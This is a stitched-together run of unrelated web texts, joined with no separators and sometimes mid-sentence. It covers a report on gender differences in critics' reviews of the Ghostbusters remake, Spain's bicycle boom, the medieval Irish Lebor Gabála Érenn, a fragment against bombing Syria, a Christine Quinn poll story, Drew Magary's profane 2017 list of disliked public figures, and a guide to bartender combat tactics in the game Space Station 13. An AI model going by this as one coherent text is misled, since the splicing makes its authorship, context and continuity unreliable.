Track down a review from a leading female critic and you’re likely to find that the new movie, built around a quartet of women — Melissa McCarthy, Kristin Wiig, Kate McKinnon and Leslie Jones — gets a solid thumbs-up. But check in with some of the top male critics and you’re just as likely to run into a negative critique.
Describing the movie as “enjoyable, disposable fun,” the New York Times’ Manohla Dargis acknowledged “the project’s early sexist attackers,” who objected to the fact that the franchise, which originally starred Bill Murray, Dan Aykroyd, Harold Ramis and Ernie Hudson, was being entrusted to a bunch of women, but added, “Girls rule, women are funny, get over it.”
A number of male reviews also cited the controversy that preceded the film, but were less charmed by the final results. “I went into the movie spoiling for a fight — I really wanted to like director Paul Feig’s reimagining, to prove all the misogynist online naysayers wrong,” wrote Vanity Fair’s Richard Lawson. “But Ghostbusters, quick and dull and weightless, offers very little to root for. It spends so much time doing battle with its legacy that it forgets to be its own movie, putting a talented cast to waste and marking another disappointment in this dreadful summer movie season.”
Reactions to any comedy are, of course, inherently subjective, and while there are some male critics who love the new Ghostbusters — and also some female critics who hate it — women reviewers are a lot happier with the new pic than their male counterparts.
The numbers tell the story.
As of Monday morning, four days before the film’s release, Rotten Tomatoes surveyed 61 reviews. (Numbers on the site are subject to change as more reviews come in.) Of those initial 61 reviews, representing the opinions of 43 men and 18 women, 77 percent were positive — or “fresh” in the reviewer aggregation site's lingo.
But that judgment wasn’t equally shared by men and women.
Of the total group of reviewers, the 43 men gave the movie a 72 percent positive and 28 percent negative (or “rotten”) rating. But among the 18 women, the movie got a warmer reception — 89 percent positive and only 11 percent negative.
Among those reviewers that Rotten Tomatoes separates out as “top critics,” the differences in opinion were even more pronounced.
The 17 top critics included 11 men and 6 women. The male critics, which included The Hollywood Reporter’s David Rooney, were mostly unimpressed — 64 percent of their reviews were negative, while just 36 percent were positive. Among the six women critics, the results were almost entirely reversed — 67 percent were positive and 33 percent were negative.
If the Rotten Tomatoes results are a guide, Ghostbusters is proving to be a Rorschach test, suggesting that male and female writers see movies — or at least this particular film — through different lenses.
That, however, was not the finding of a report on “Top Film Critics and Gender,” released in June by the Center for the Study of Women in Television & Film at San Diego State University, headed by Dr. Martha Lauzen. That study detailed how the vast majority of “top critics” on Rotten Tomatoes are male by a margin of 73 percent to 27 percent. But it also found that, during spring 2016, male writers and female writers did not judge movies featuring female protagonists differently. Both men and women give femme-centric movies an average rating of 66 percent
“I’m inclined to treat Ghostbusters as a special case in that the response to the idea of the film, in advance of its release, has been unusually polarized and relatively high profile,” said Lauzen. “While these largely negative comments have not been made by professional critics, certainly reviewers writing for the largest media outlets would be aware of this reaction.”
In fact, over on rival review aggregate site Metacritic, the differences are not as pronounced — possibly because Metacritic surveys so many more men than women. As of Monday morning, Metacritic, which assigns a numerical value to each review, took a look at 23 reviews — 19 written by men and just four by women.
In the case of Metacritic, the average ranking of all its 19 male-generated reviews is 64.4, while the average for the four female-penned reviews is 62.5.
That’s partially explained by the fact that the male reviewers, pro and con, tend to write more hyperbolically. For example, Ghostbusters got its top grade of 91 from Hitfix’s Drew McWeeny, who called the movie “a big fat slice of silly summer entertainment, confident and sometimes quite beautiful.” By contrast, the top-ranked review from a female critic came from Time’s Stephanie Zacharek, who awarded the film an 80 for being an “affable, inventive riff on Ivan Reitman’s proton-packing caper.”Bicycles appear to be outselling cars for the first time in Spain, with 780,000 people opting for two wheels over four
Rafael Quereda, 58, opened his bike shop in the heart of Madrid 18 months ago, when he lost his job at a graphic design company after 25 years. "After I was sacked I was trying to find something to do and because I'm old, there wasn't much work about. But I saw that people had really started to use bicycles and that there was a market."
Quereda is not the only one enjoying Spain's bike boom. For the first time, bicycles appear to be outselling cars. Across Spain, the latest cycle industry figures show 780,000 people opting for two wheels, making up about 4% of Europe's total, while 700,000 cars were sold.
For many it is yet another indicator of the ongoing recession that has hit Spain, leaving it with more than 25% of its workforce unemployed, rising to 56% among young people. It is a shocking turnaround for a country whose economy was once hailed as one of Europe's great success stories. In the five years up to 2007, Spain created almost half the new jobs in the entire eurozone. It is a very different story now.
Amid the rising cost of car use and public transport, "we're getting more customers each day", said Quereda.
"All types of people come in, young and old, some want a new bike, some bring in the bicycles they've had stored in the garage for 30 years to be repaired." A few of the bicycles brought into his shop next to Retiro Park resemble medieval contraptions, adds Quereda, "but that's not a problem".
Across town at the Seat car showroom on the Paseo de la Castellana, one of Madrid's busiest avenues, it is a different story. Its shiny, glass-walled showroom is full of polished new and secondhand cars, but there's little business being done. A sleepy silence prevails, with more staff than customers.
"We need to be selling a million cars a year in Spain," said Federico Suárez Leco, commercial director of Castellana Motor, meaning the country is 30% below its target. "In 2007, we sold 390 individual cars [excluding company cars] a year, but in 2012 it was down to around 300." And this is one of Seat's biggest showrooms in Madrid. The story is much worse across the capital and the country, said Suárez. "Lots of showrooms are closing all the time."
Suárez says that during the boom years Spaniards lived "beyond their means … buying cars they couldn't afford, with finance plans they should never have got involved with".
The fall to earth has thus been even more painful than it might have been, "and even though they talk about there being light at the end of the tunnel, I don't see it."
He pointed out that the most popular brand in Spain last month was the Dacia, a Romanian-made vehicle launched in 1966, and now a subsidiary of Renault, which is aimed right at the budget end of the market.
Its strong sales, said Suarez, "show how bad the economy is".
Bike and car sales during Spanish recession
The government has brought in numerous policies to encourage sales over the years, including a scrappage scheme for cars older than 12 years, without which the situation would be even more dire. Given the importance of car manufacturingto the domestic economy, more needs to be done, said Mario Armero, vice-president of Anfac, the National Association of Car Manufacturers.
"We have to be more forward in areas such as logistics, taxation, research and development," said Armero.
"Spain and its car industry are moving steadily towards exiting the crisis. In recent years we have been allocated 20 new models and by 2014 will produce about 45 models. This recognition of the quality of manufacturing in Spain is reflected in the fact that Spain exported taxis to New York, to London or Abu Dhabi," he argued. But there will be plenty more pain yet.
One of the attractions of the bicycle is, of course, the value for money, but there's more to it than that. Cycling has definitely become cool. In the Bicicleta cafe in Malasaña, Madrid's hippest district, they mix coffee and an obsession with cycling.
Tamy Marques, 30, opened the cafe with her partner last December, having picked up on the fashion for cycle cafes in London, where art, discussion groups, workshops come together with only the very best cafes con leche. She agrees that Madrid is not as cycle-friendly as some other cities, but believes it is changing.
"You can't just create a cycle path, you also have to teach people how to use them," she said, as customers buzz in and out. "There's a bike for everyone … foldaways, electric ones, fixed gear, urban bikes … whatever works with your lifestyle." And, of course, they are environmentally sound: "When I cycle behind a car, I take in all their pollution, but the person behind me gets nothing bad at all."
And there are those who have always cycled in Madrid. One of Spain's most famous names, singer-songwriter Christina Rosenvinge, says she has been cycling for more than 10 years in the capital. "Originally there weren't many of us but in the last few years, I've noticed a real change.
"Back then, if you went out with a child on the back of your bike, drivers used to lean out of their window and shout 'Murderer!," she said, "but people are now more tolerant."
There still are not many good cycle paths, but small activist groups are pressuring town halls across the country. It seems they are finally being heard.This article is about the medieval Irish text. For the album by Horslips, see The Book of Invasions (album)
Folio 53 from the Book of Leinster. Lebor Gabála Érenn is recorded in more than a dozen medieval manuscripts and the Book of Leinster is just one of the primary sources of text. Image: Dublin, TCD, MS 1339 (olim MS H 2.18)
Lebor Gabála Érenn ("The Book of the Taking of Ireland") is a collection of poems and prose narratives that purports to be a history of Ireland and the Irish from the creation of the world to the Middle Ages. There are a number of versions, the earliest of which was compiled by an anonymous writer in the 11th century. It synthesized narratives that had been developing over the foregoing centuries. The Lebor Gabála tells of Ireland being settled (or 'taken') six times by six groups of people: the people of Cessair, the people of Partholón, the people of Nemed, the Fir Bolg, the Tuatha Dé Danann, and the Milesians. The first four groups are wiped out or forced to abandon the island, the fifth group represent Ireland's pagan gods, while the final group represent the Irish people (the Gaels).
Today, most scholars regard the Lebor Gabála as primarily myth rather than history. It appears to be mostly based on medieval Christian pseudo-histories, but it also incorporates some of Ireland's native pagan mythology. Scholars believe the goal of its writers was to provide an epic history for Ireland that could compare to that of the Israelites or the Romans, and which reconciled native myth with the Christian view of history. It is suggested, for example, that there are six 'takings' to match the "Six Ages of the World".[7] Lebor Gabála Érenn is also considered a "highly influential Middle Irish prose-and-verse treatise [...] written in order to bridge the chasm between Christian world-chronology and the prehistory of Ireland".[8]
The Lebor Gabála is usually known in English as The Book of Invasions or The Book of Conquests, and in Modern Irish as Leabhar Gabhála Éireann or Leabhar Gabhála na hÉireann.
Origins [ edit ]
Purporting to be a history of Ireland and the Irish, a critical analysis by Thomas F O'Rahilly claims the purpose of Lebor Gabála Érenn (hereinafter abbreviated as LGE) was three-fold:
firstly to unite the population by obliterating the memory of previous and different ethnic groups, secondly to weaken the influence of pre-Christian pagan religions by converting their gods into mere mortals, and thirdly to manufacture pedigrees into which the various dynastic groups could conveniently be fitted [1]
It has been described as an attempt to provide the Irish with a written history comparable to that which the Israelites provided for themselves in the Old Testament. Drawing upon the pagan myths of Gaelic Ireland but reinterpreting them in the light of Judeo-Christian theology and historiography, it describes how the island was settled six times by six groups of people. Biblical paradigms provided the mythologers with ready-made stories which could be adapted to their purpose. Thus we find the ancestors of the Irish enslaved in a foreign land, or fleeing into exile, or wandering in the wilderness, or sighting the "Promised Land" from afar.
Four Christian works in particular seem to have had a significant bearing on the formation of LGE:
The pre-Christian elements, however, were never entirely effaced. One of the poems in LGE, for instance, recounts how goddesses from among the Tuatha Dé Danann took husbands from the Gaeil when they 'invaded' and 'colonised' Ireland. Furthermore, the pattern of successive invasions which LGE preserves is reminiscent of Timagenes of Alexandria's account of the origins of the Gauls of continental Europe. Cited by the 4th-century historian Ammianus Marcellinus, Timagenes (1st century BC) describes how the ancestors of the Gauls were driven from their native lands in eastern Europe by a succession of wars and floods.[10]
Numerous fragments of Ireland's mythological history are scattered throughout the 7th and 8th centuries. In his Lectures on the Manuscript Materials of Ancient Irish History, Eugene O'Curry, Professor of Irish History and Archaeology at the Catholic University of Ireland, discusses various genres of historical tales mentioned in the manuscripts:
The Tochomladh was an Immigration or arrival of a Colony; and under this name the coming of the several colonies of Parthalon of Nemedh, of the Firbolgs, the Tuatha Dé Danann, the Milesians, etc., into Erinn, are all described in separate tales. It is probably from the original records of these ancient stories that the early part of the various Books of Invasions has been compiled.[11]
The earliest extant account of the purported history of Ireland is to be found in the Historia Brittonum or "History of the Britons," which was once thought to have been written by the Welsh priest Nennius in 829–830.[12] This text gives two separate accounts of early Irish history. The first consists of a series of successive colonisations from Iberia by the pre-Gaelic peoples of Ireland, all of which found their way into LGE. The second recounts the origins of the Gaeil themselves, and tells how they in turn came to be the masters of the country and 'ancestors' of all the Irish.
These two stories continued to be enriched and elaborated upon by Irish historian-poets throughout the 9th century. In the 10th and 11th centuries, several long historical poems were written that were later incorporated into the scheme of LGE. Most of the poems on which the 11th-12th century version of LGE was based were written by the following four poets:
It was late in the 11th century that a single anonymous scholar appears to have brought together these and numerous other poems and fitted them into an elaborate prose framework – partly of his own composition and partly drawn from older, no longer extant sources (i.e. the tochomlaidh referred to above by O'Curry), paraphrasing and enlarging the verse. The result was the earliest version of LGE. It was written in Middle Irish, a form of Irish Gaelic used between 900 and 1200.
Textual variants and sources [ edit ]
From the beginning, LGE proved to be an enormously popular and influential document, quickly acquiring canonical status. Older texts were altered to bring their narratives into closer accord with its version of history, and numerous new poems were written and inserted into it. Within a century of its compilation there existed a plethora of copies and revisions, with as many as 136 poems between them. Five recensions of LGE are now extant, surviving in more than a dozen medieval manuscripts:
First Redaction (R¹): preserved in The Book of Leinster (c. 1150) and The Book of Fermoy (1373).
preserved in (c. 1150) and (1373). Míniugud (Min): this recension is closely related to the Second Redaction. It is probably older than the surviving MSS of that redaction, though not older than the now lost exemplar on which those MSS were based. The surviving sources are suffixed to copies of the Second Redaction.
this recension is closely related to the Second Redaction. It is probably older than the surviving MSS of that redaction, though not older than the now lost exemplar on which those MSS were based. The surviving sources are suffixed to copies of the Second Redaction. Second Redaction (R²): survives in no less than seven separate texts, the best known of which is The Great Book of Lecan (1418).
survives in no less than seven separate texts, the best known of which is (1418). Third Redaction (R³): preserved in both The Book of Ballymote (1391) and The Great Book of Lecan.
preserved in both (1391) and. O'Clery's Redaction (K): written in 1631 by Mícheál Ó Cléirigh, a Franciscan scribe and one of the Four Masters. Unlike the earlier versions of LGE, this redaction is in Early Modern Irish but was admitted as an independent redaction by Macalister because there are indications that the author had access to sources which are no longer extant and which were not used by the compilers of the other four redactions. The work was compiled in the convent of Lisgool, near Enniskillen. O'Clery was assisted by Gillapatrick O'Luinin and Peregrine O'Clery (Michael O Clery's third cousin once removed, and one of the Four Masters).
The following table summarises the extant manuscripts that contain versions of LGE. Most of the abbreviations used are taken from R. A. S. Macalister's critical edition of the work (see references for details):
K is contained in several paper manuscripts, but K¹, the "authoritative autograph", takes precedence.[13]
Modern criticism [ edit ]
For many centuries LGE was accepted without question as an accurate and reliable account of the history of Ireland. As late as the 17th century, Geoffrey Keating drew on it while writing his history of Ireland, Foras Feasa ar Éirinn, and it was also used extensively by the authors of the Annals of the Four Masters. Recently |
it is essential to learn the lessons of those wars.
In the light of that record of western military interventions, UK bombing of Syria risks yet more of what President Obama called “unintended consequences”.
The prime minister said he wanted a consensus behind the military action he wants to take. He has achieved nothing of the kind. After Iraq, Afghanistan and Libya, MPs thinking of voting for bombing should bear in mind how terrible those consequences can be. Only a negotiated peace settlement can overcome the Isil threat.NEW YORK, NY - FEBRUARY 02: Speaker of the New York City Council Christine Quinn attends The 2013 Greater New York Human Rights Campaign Gala at The Waldorf=Astoria on February 2, 2013 in New York City. (Photo by Brad Barket/Getty Images)
City Council Speaker Christine Quinn continues to dominate New York City's Democratic primary.
According to a Quinnipiac University poll released last week, 37 percent of Democratic voters favor Quinn, meaning she's closing in on the coveted 40 percent mark needed to avoid a run-off primary.
In other good news for Quinn, 78 percent of New York City voters are either "comfortable" or "enthusiastic" about the prospect of an openly gay New York City mayor.
In fact, more New Yorkers are in favor of a gay mayor than they are with a business executive running the city. Only 57 percent of New Yorkers in the poll said they were "comfortable" or "enthusiastic" about the prospect of another Bloomberg-like candidate.
"When asked for a self-assessment, New Yorkers say they are remarkably unbiased," explained Maurice Carroll, director of the Quinnipiac University Polling Institute. "But they're true to one stereotype about a super-liberal city - only being a business executive draws significant negative votes in a mayoral candidate."
Bloomberg was recently named by Forbes as the 13th richest person in the world.
When recently told she would have faced defeat against former Mayor Rudy Giuliani in the 1990's due to her sexuality, Quinn defiantly responded, "I would’ve kicked his ass."
Come November, if Quinn wins the mayoral race, she will become the first female and the first openly gay mayor in New York City history.Drew Magary’s annual takedown of the most awful, unimportant people from an already bad year.
You know, we’ve been compiling this list for the better part of a decade now, and I can tell you that I have never encountered a more voluminous group of ineffectual bozos than the batch America offered to the world in 2017. This country is DYING, and yet there are tens of millions of us—me included!—who apparently are powerless to do much of anything about it. Few of us stand a chance against the country’s monstrous, destructive intractability. Hence, all our dread has manifested into real hatred, pain, and horror. I have aged 20 years this year alone.
And that glaring impotence extends all the way into the executive branch, to the inner circle of our blubbering boob of a president, all of whom claim to have his ear when the only thing President Trump listens to is the sound of his own dentures sloshing around in his burgerhole while Fox & Friends plays in the background. You could pinpoint Trump’s inauguration day as the beginning of mankind’s downward trajectory and no historian would quibble with you.
Normally, indulging in a year-end list is a pleasant holiday diversion. “Oh yeah, I remember that album! Good album!” But we live in a time when looking back is now so immensely painful that such listicles feel like historical sadism. But, dear reader, I live to serve the greater good. And so I must pinch my nose and dig through the archives to bring you this roll call of enablers, buffoons, and losers who not only contributed nothing to society in 2017, but actively helped ruin America by doing so.
All the Bad Men
In addition to shining a light on their monstrous behavior, 2017 also served to expose how many of these serial harassers were men who did consistently average, forgettable work. Like, Kevin Spacey and Louis CK were genuine talents. But Matt Lauer? Get the fuck outta here. Matt Lauer was television mayonnaise. It is a damning indictment of our culture that someone that bland and eminently worthless was able to command $25 million a year and occupy his own fiefdom within NBC.
And Harvey Weinstein? Holy shit, how many terrible movies has Harvey Weinstein foisted upon the general public? Apart from the occasional Tarantino movie, Harvey buried more good movies than he ever released, and spent the bulk of his career pushing horrible awards bait that vanished from the cultural radar the second the Oscar telecast ended. The greater world of film isn’t gonna suffer without the dude who financed Chocolat. Keep going down the list and you’ll find even more disposable losers like Leon Wieseltier, Mark Halperin, and that one That ’70s Show guy who was somehow less remarkable than Ashton Kutcher. The collective talents of these men aren’t close to the collective talents they suppressed, and I’m glad they’re going away.
Chris Cillizza
Everyone in media got laid off in 2017, but you know who thrived? You know who networks find TRULY valuable? It’s a sociopathic political junkie, an ur-Halperin, who has carved out his own niche in punditry by saying absolutely nothing:
Chris Cillizza is the ideal embodiment of the quietly damnable state of the mainstream media. He is every White House press-corps member dutifully chuckling at Sarah Sanders’ jokes. He is every “let’s hear both sides” TV panel where a white supremacist gets treated to a seat at the table. He lives in a world where politics is entirely about optics and branding, and where the idea of journalism doubling as activism is plainly rude. He is Darren Rovell, but for politics.
The Atlanta Falcons
How hard is it to hold on to a 28-3 lead? I should’ve known they would choke. I should’ve known the Atlanta Falcons would revert to faceless anonymity the second they were within a whisker of capturing immortality. I’ll never get over it, and they aren’t even my team! Did I mention the malevolent cheaters they blew that game to ended up gifting Trump a Super Bowl ring? Of course they did. Literally no good guys won in 2017.
Seth Abramson/Eric Garland/Louise Mensch
These are the serial tweetstormers who show up any time something Russia-related happens to Trump, and then they act as if they have all the top-secret info to BLOW THIS WHOLE THING WIDE OPEN. They are…not reliable.
Seriously, every time someone I otherwise respect retweets one of these loons, I audibly groan. Donald Trump has openly committed roughly 78,000 impeachable offenses. There’s no curtain you need to peek behind, and these three certainly don’t have the access to do so anyway. Stop enabling them. Following Abramson is like subscribing to the worst podcast in world history. “Okay, so you already know about Sergei Cutyurkokov from my August 13th tweetstorm, now here is how he ties into the GORGOV MEETING 1/670.” I’m barely exaggerating here. Look at the size of this thread:
For God’s sake, get a Medium account and leave all this to Robert Mueller, people. He’s an actual professional.
Jack Dorsey and Biz Stone
Behold the men in charge of Twitter, two dudes who apparently had NO perception of the potential negative ramifications of launching a global social-media service and have utterly abdicated all of the enormous responsibilities that have come with its ascent. When confronted with the fact that Twitter has made only cursory efforts to rid its platform of hate speech, Nazism, open propaganda, and the president openly threatening nuclear war, here was Biz Stone’s pathetic response:
What leadership. No wonder this goddamn company can’t make a cent. Oh, and they expanded the character limit even though everyone hated it. Oh, and instead of getting rid of all the Nazis, they made it easier for serial tweetstormers to make more threads. Oh, AND they explained that they couldn’t pull any of the racist videos the president retweeted, not because they were, you know, AWFUL, but because it would have violated their own media policy, which is definitely a good one! Speaking of being ineffective…
T. J. Miller
You gotta be a real turd to get fired from one of the biggest comedies on TV despite being the best thing on it. But hoo boy, was T. J. Miller up to the task. He proved to be every bit as insufferable as Erlich Bachman was on that show, only with none of the charm. He trashed showrunner Alec Berg. He deliberately acted like an asshole to “infect” the news cycle. Oh, and he starred in The Emoji Movie, which makes him 2017’s greatest monster.
Travis Kalanick
While Miller was an intolerable pretend tech-bro, Kalanick was the real deal. Uber was always touted as an innovation in ridesharing when, in truth, it has succeeded mainly in skirting regulations, bullying competitors, and denying drivers any kind of substantive benefits. But Kalanick, who mercifully stepped down this year, also presided over a company where harassment flourished both in the office and in the cars. Why, it’s enough to make me join the boycott, I tell you!
[checks Lyft]
[remembers Lyft is partially owned by Peter Thiel]
[remembers the whole Lyft bus thing]
DAMMIT.
Ed Sheeran
Against all odds, the most disturbing thing I saw in 2017 was this footage of Sheeran singing “Castle on the Hill” to a crowd of roughly 78 million screaming girls in Bogotá. I do not find it encouraging to see a massive international audience go wild for England’s pastiest coffeehouse busker. I thought Colombia was better than that. I thought HUMANITY was better than that. I grew up with Bon Jovi as watered-down Springsteen, and somehow Ed Sheeran is an even more watered-down version of that. I’d take a million boy bands over Ed’s sensitive-guy horseshit any day. And who let him get into sexy business with “Shape of You”? That’s disgusting, man. Keep that to yourself.
Andrew Cuomo
FIX THE FUCKING SUBWAY.
Rick Pitino
It’s never Rick Pitino’s fault. Alleged hooker orgies for Louisville recruits? Affairs at the Ground Round? Named in a federal bribery indictment? Rick Pitino doesn’t know about any of that, folks. In fact, he’s downright offended that you would even have the temerity to imply that a college basketball coach of his stature—who has his hands in virtually every part of the program in addition to greater school affairs—would be privy to such damning misdeeds. Why, he was teaching bounce passes to disabled puppies when all that was going down!
Sean Spicer
Here was a man who was paid to lie and couldn’t even do that capably. He couldn’t even put together a fucking sentence!
At the youth level, we live in an insanely competitive country. Too competitive, if you ask me. Children are subjected to cutthroat environments in sports, testing, and college admissions. So imagine you’re some kid who busted her ass to get a 4.0 GPA and ascended to captain of the debate team, and then had to sit there and not only watch Donald Trump get elected to the highest office in the land, but then see every unqualified moron riding his coattails prosper as well. Even after he got fired, Spicer prospered. He got on the Emmys! He got invited to Harvard! He's writing a book! I’m gonna tell my kids to stop trying so hard and encourage them to eat more paste. Eat the whole tub, kids. It worked for Sean, and it can work for you.
Lonzo Ball
At this point, I really thought Lonzo’s on-the-court play would overshadow all of his dad’s histrionics, but NOPE. No, turns out Lonzo is an utterly miserable shooter (31.7 percent from the field!), so much so that America would willfully rather watch LaVar Ball turd it up on CNN than see Lonzo clang another jumper off the rim. Between Lonzo and Markelle Fultz and even Ben Simmons, how are these rookie players all so terrible at shooting? It's the most self-centered basketball act. They should all be brilliant shooters and MISERABLE passers. I condemn the millennials who killed shooting.
Ivanka Trump and Jared Kushner
Every week I gotta rearrange my “I hope they rot in prison the most” rankings and, more often than not, one of these two occupies the top slot, even ahead of the dirty old man. Ivanka Trump is a craven social climber still laboring under the delusion that her daddy gives a shit what she says, and still pretending she belongs in high society, acting out an extended, empowering businesswoman fantasy like she’s Sheryl Sandberg of the runway. Look at her tweet out an alien vomit Thanksgiving arrangement and strain to have everyone forget she enables her dad, assumes positions of diplomatic leadership she neither officially holds nor deserves, exploits foreign child labor, and willingly serves to bleach her daddy’s grossest acts. She is low-class forever.
As for Jared…I really do wish he’d been sent into battle in this getup.
John Kelly
Ah yes, the General. The man who would finally bring some damn ORDER to the White House. Kelly represents one leg of a triumvirate of military babysitters (Kelly, Mattis, McMaster) who supposedly represent a kind of executive retaining wall, preventing Trump’s unhinged hatred from causing real catastrophe. Meanwhile, nearly a third of Puerto Rico remains without power, Nazis are gathering in public, ICE is hunting down immigrant families and tearing them apart with the zeal of a slave auctioneer, 500 people were shot in Vegas with no action taken, and North Korea can now hit Washington with a nuclear missile. Yeah, man, you guys have done a fucking sterling job keeping all the bad stuff at bay. I’m really indebted to you. If you aren’t turning over the pee tape, you are wasting my time.
Ben Affleck
It’s not a good sign of your tenure as Batman if you spent the majority of it trying to get OUT of being Batman.
Katy Perry
Did you know she released an album this year? It’s true. I’m genuinely shocked that one of our shrewdest and most gifted pop stars could—with virtually all the songwriting talent in the universe ready at her disposal—put out an album as messy and unexciting as Witness. I think both Perry and Taylor Swift learned this year that if you gotta make a whole album about clapping back, it’s probably too late for you to clap back. She should have named the album I’m Not Owned.
Rex Tillerson
Moron.
Roy Moore
Dennis Miller once said Alabama was Darwin's waiting room. Well, it's 2017 and Roy Moore is still waiting.
Jeff Flake
Well, look at that: It’s the senator who BRAVELY stood up to Donald Trump by confirming every last one of his appointees and judges, voting for his hideous tax bill, and then opting to retire and thus leave some Trumpist loon to fill his slot come 2018. Truly a profile in courage. Oh, but he sent Doug Jones a whopping $100 check to campaign against Roy Moore. I'm sure that's what put him over the top.
Let me tell you something: These supposed conscientious objectors like Flake and John McCain are even worse than openly corrupt scum like Mitch McConnell. These guys want all the PR perks of opposing Trump without doing much, if any, actual opposition. These are not good guys. These are men who exist to strategically convince you the Republican Party has a heart when it doesn’t. That’s all a lie designed to feed into centrist wet dreams, and it’s one of the reasons Republicans get a strange benefit of the doubt from both the media and their Democratic colleagues that they do NOT deserve.
Woody Allen
I don’t know how this nebbish stammered his way into immunity from The Great Reckoning, but his downfall is now roughly three decades overdue. Wonder Wheel is not only the title of his latest bore-a-thon jazz odyssey, it also doubles as a perfect descriptor of how this lech has been able to bilk the industry into letting him make the same gross May-December romcom over and over again. Truly, it is a marvel. God, please, someone hit Woody on the head with a clarinet case.
Doug Evans
Does this name not ring a bell? What if I told you that ol’ Douggie here was the mastermind behind the Juicero? AHA! Now you remember. Now you remember the hilarious tale of the $400 million Silicon Valley startup that promised to revolutionize the juice space by selling…a juice press. Not only was the Juicero just a stupid juice press, but Bloomberg reporters found that they could get more juice from Juicero fruit bags simply by squeezing them by hand. It’s a near-flawless parable of how Silicon Valley is an empty vessel filled with greedy con men churning out crummy products based on used ideas. “No no no, it’s not an alarm clock. It’s a time-based morning wakefulness aid. SEED MONEY PLEEEEZ.”
Anthony Scaramucci
Did you know he was on The View the other day? Please stop doing this. We don’t need to make permanent mini-celebrities out of every Trump administration disgrace. That’s exactly how Trump got elected to begin with. The Mooch is gonna succeed him in the Oval Office and send out Holocaust polls twice a day.
David Brooks and the New York Times op-ed section
As long as The New York Times pays good money for David Brooks to piss and moan about modern morals and for Tom Friedman to take cab rides in Saudi Arabia, they can cool it with their whole “truth” marketing spiel. This year, they gave op-ed space to Erik Prince AND Erick Erickson. All the bad Eri(c)ks. They are still striving to be “balanced” just to appease a handful of wingnut hate-readers who will never be appeased. Clean out the old rich guys, cool it on the soft-focus Nazi profiles, and stop giving columns to people who belong in jail.
Roger Goodell
The Ginger Hammer makes this list every year, but this year’s a REALLY special inclusion because he inked a $200 million contract extension that ensures he’ll be around to desecrate the sport of football until at least 2024. Think of all the suspensions he’ll botch! Think of the surprising owner feuds he’ll instigate! And think of how low the ratings can get! By 2024, there’ll be six people watching Thursday Night Football streaming on Vudu, and Goodell will get another extension worth half a billion. It’s gonna be great.
Chuck Schumer and Nancy Pelosi
On a certain level, I get it. Bereft of majorities anywhere, Chuck Schumer and Nancy Pelosi have opted to play “the game” with Trump, meeting with him and currying his favor and staging an end-around on Republicans by getting Trump to “agree” to a replacement for the DACA program (Surprise! That deal is still in limbo). And I understand that perhaps they’re waiting for the exact right spot to expend their political capital to get rid of Trump for good, maybe even when the Mueller investigation wraps up.
But Trump’s word means absolutely nothing, and getting him to agree to something is essentially an exercise in dividing by zero. And I don’t think Schumer and Pelosi understand the horrible drain in morale their constituents feel when they cheerfully mingle with Trump and tweet out dreck like this:
What has a sincere desire to work with Republicans EVER gotten them? I am so, so sick of Democrats extending an olive branch to a party that’s about as amenable to compromise as the aliens in Independence Day. Modern Republicans don’t give half a shit about the law or anyone who opposes them. Routine political gamesmanship isn’t gonna cut it, and every day Trump is in power, things get worse. Whatever long game these two are playing needs to get shortened the fuck up.
Donald Trump Jr.
You would think it would be a real derby to earn the title of Stupidest Trump Child, but Lil’ Donnie has long since proven he’s got a lockdown on it. “You guys think I colluded with the Russians? Well, here are some e-mails I did with the Russians! CHECK AND MATE!”
Eminem
Ah yes, that freestyle rap at the BET Awards truly ANNIHILATED Trump and finished him off once and for all. Why, he’ll never recover from such vicious parking-lot ownage. Lemme tell you something: There are two kinds of Eminem songs. The first is the kind that becomes dated within ten seconds of its release. The second is “Lose Yourself.” My man needs to make more of the latter and way less of the former.
Ted Wheeler
Mr. Wheeler is the dad on Stranger Things who spends both seasons supernaturally oblivious to the fact that his children are off battling netherdemons and having overnights with gonzo journalists. He is the laziest dad on television, and thus he is my favorite character on that show by far. He is my spirit animal. I love him. Like, when his wife gives him a dirty look because he won’t even get up from his chair when a child goes missing, and then he reacts defensively, like, “The fuck did I do?” That’s my guy. I aspire to give so few fucks. He’s the best. I want a spinoff show where Mr. Wheeler just spends every episode reading his paper and being left alone.
America, Just in General
Maybe you still have hope for the Republic, but the rest of the world has basically written us off. We’re a nutjob racist backwater now, and we probably deserve to be dismissed as such. You can see this every time Trump goes abroad and world leaders hand him a shiny orb to play with while the real players get down to business. Then Trump declares the trip a success and the world laughs behind his ample, fatty back. We’re a joke, and we’re gonna be a joke for a long, long time.Bartender write-up a guest Jun 23rd, 2017 872 Never a guest872Never
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rawdownloadcloneembedreportprint text 8.99 KB I know a bunch of bar drinks from playing SS13 a long time ago that are very very powerful and useful for many situations. Before I talk about any of the drinks, I would first like to talk about your tools. The first of which are your shotgun, bandolier, armor vest that you spawn wearing, and your beer goggles. Cherish them. Load the shotgun and your bandolier with buckshot. Make love to it Don't saw it off with a circular saw to make it smaller unless you're switching armors so you can put it in your bag, and make sure to unload it first or you'll shoot yourself in the face. You spawn with two armor vests so if you want to keep yours, you can give out the second one if you so wish, maybe organize a contest or something or ask an assistant to retrieve an item for you in exchange for it. Your beer goggles are extremely useful because not only do they function exactly like sunglasses, but they allow you to see what chems are in any beaker in the game. Normally, if you examine a container, you will see how many units are in the container, but not what these chems are. The beer goggles allow you to see what these chems are. The second of your great tools is your box, the box that everyone spawns with. The thing that makes this particularly useful is that it can be combined with your third tool, bottles. Bottles are legitimately one of the most overpowered items in the whole game because if you switch to harm intent and hit someone in the head with them, it deals 15 damage, stuns them for 2-3 seconds, and covers them in whatever was inside the bottle, (including chemicals you can make if you empty it out, though I will go over those later) though does not stun if they're wearing head armor. You can smash a bottle over someone's head and floor them, then just keep pulling out bottles and smashing them over the head with them until they die, then going back to your booze-o-mat to get more bottles. Due to these bottles spraying the victim with whatever was contained inside them, this means that the rather flammable alcohol they are likely covered in can also be lit on fire, so you can whip out your zippo that you spawn with and light them up before continuing to atomize them with bottles. Something else you can do with these bottles is create molotovs out of them. Molotovs are best made with vodka bottles by tablecrafting a damp rag (one spawns at your bar, and they can be found both in maint and created in botany) and a bottle, and once lit and thrown, will create one tile of fire that will do a LOT of damage. Something I liked to do was bottle smash people and then throw a molotov when they were floored. Back to your second tool, boxes. The reason why your box is your second most important tool is because they can hold SEVEN bottles that you can use to smash people into oblivion, or even seven molotovs. Bartenders on /tg/ spawn with two boxes, one with the internals that everyone has, and the other full of beanbags that do a lot of stamina damage, allowing you to have a lot of flexibility in regards to storage. You can transfer the beanbags to your bandolier by click dragging the box onto your bandolier. Additionally, once smashing a bottle, it creates a broken bottle that does 9 brute and on some /tg/ forks causes bleeding, so you can also stash that in there as 